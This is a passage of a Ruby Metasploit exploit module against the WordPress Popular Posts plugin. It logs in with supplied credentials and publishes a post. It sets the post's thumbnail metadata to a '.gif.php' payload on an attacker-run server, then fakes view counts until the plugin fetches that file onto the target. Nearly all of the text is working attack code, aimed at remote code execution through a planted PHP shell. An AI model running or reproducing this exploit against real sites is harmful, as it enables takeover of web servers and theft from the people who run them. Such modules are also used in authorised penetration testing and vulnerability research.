[^"]*)/ =~ res.body
ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id)
end
unless ajax_nonce.nil?
vprint_status("ajax nonce: #{ajax_nonce}")
end
unless wp_nonce.nil?
vprint_status("wp nonce: #{wp_nonce}")
end
unless post_id.nil?
vprint_status("Created Post: #{post_id}")
end
fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id
# publish new post
vprint_status("Writing content to Post: #{post_id}")
# this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'ctype' => 'application/json',
'accept' => 'application/json',
'vars_get' => {
'_locale' => 'user',
'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id)
},
'data' => {
'id' => post_id,
'title' => Rex::Text.rand_text_alphanumeric(20..30),
'content' => "\n#{Rex::Text.rand_text_alphanumeric(100..200)}
\n",
'status' => 'publish'
}.to_json,
'headers' => {
'X-WP-Nonce' => wp_nonce,
'X-HTTP-Method-Override' => 'PUT'
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'
return post_id, ajax_nonce, wp_nonce
end
def add_meta(cookie, post_id, ajax_nonce, payload_name)
payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}"
vprint_status("Adding malicious metadata for redirect to #{payload_url}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_post' => {
'_ajax_nonce' => 0,
'action' => 'add-meta',
'metakeyselect' => 'wpp_thumbnail',
'metakeyinput' => '',
'metavalue' => payload_url,
'_ajax_nonce-add-meta' => ajax_nonce,
'post_id' => post_id
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? " normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => 'true',
'cookie' => cookie,
'vars_get' => { 'page_id' => post_id }
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301
print_status("Sending #{post_count} views to #{res.headers['Location']}")
location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com//
(1..post_count).each do |_c|
res = send_request_cgi!(
'uri' => "/#{location}",
'cookie' => cookie,
'keep_cookies' => 'true'
)
# just send away, who cares about the response
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
res = send_request_cgi(
# this URL varies from the POC on EDB, and is modeled after what the browser does
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')
},
'keep_cookies' => 'true',
'method' => 'POST',
'cookie' => cookie,
'vars_post' => {
'_wpnonce' => wp_nonce,
'wpp_id' => post_id,
'sampling' => 0,
'sampling_rate' => 100
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201
end
fail_with(Failure::Unreachable, 'Site not responding') unless res
end
def get_top_posts
print_status('Determining post with most views')
res = get_widget
/>(?\d+) views =~ res.body
views = views.to_i
print_status("Top Views: #{views}")
views += 5 # make us the top post
unless datastore['VISTS'].nil?
print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}")
views = datastore['VISITS']
end
views
end
def get_widget
# load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond
# which then would kill the exploit, so in this case we just keep trying.
(1..10).each do |_|
@res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => 'true'
)
break unless @res.nil?
end
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
/data-widget-id="wpp-(?\d+)/ =~ @res.body
# load the widget directly
(1..10).each do |_|
@res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id),
'keep_cookies' => 'true',
'vars_get' => {
'is_single' => 0
}
)
break unless @res.nil?
end
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
@res
end
def exploit
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie.nil?
vprint_error('Invalid login, check credentials')
return
end
payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php"
vprint_status("Payload file name: #{payload_name}")
fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie)
post_count = get_top_posts
# we dont need to pass the cookie anymore since its now saved into http client
token = get_wpp_admin_token(cookie)
vprint_status("wpp_admin_token: #{token}")
change_settings(cookie, token)
clear_cache(cookie, token)
post_id, ajax_nonce, wp_nonce = create_post(cookie)
print_status('Starting web server to handle request for image payload')
start_service({
'Uri' => {
'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) },
'Path' => "/#{payload_name}"
}
})
add_meta(cookie, post_id, ajax_nonce, payload_name)
boost_post(cookie, post_id, wp_nonce, post_count)
print_status('Waiting 90sec for cache refresh by server')
Rex.sleep(90)
print_status('Attempting to force loading of shell by visiting to homepage and loading the widget')
res = get_widget
print_good('We made it to the top!') if res.body.include? payload_name
# if res.body.include? datastore['SRVHOSTNAME']
# fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.")
# end
# at this point, we rely on our web server getting requests to make the rest happen
end
end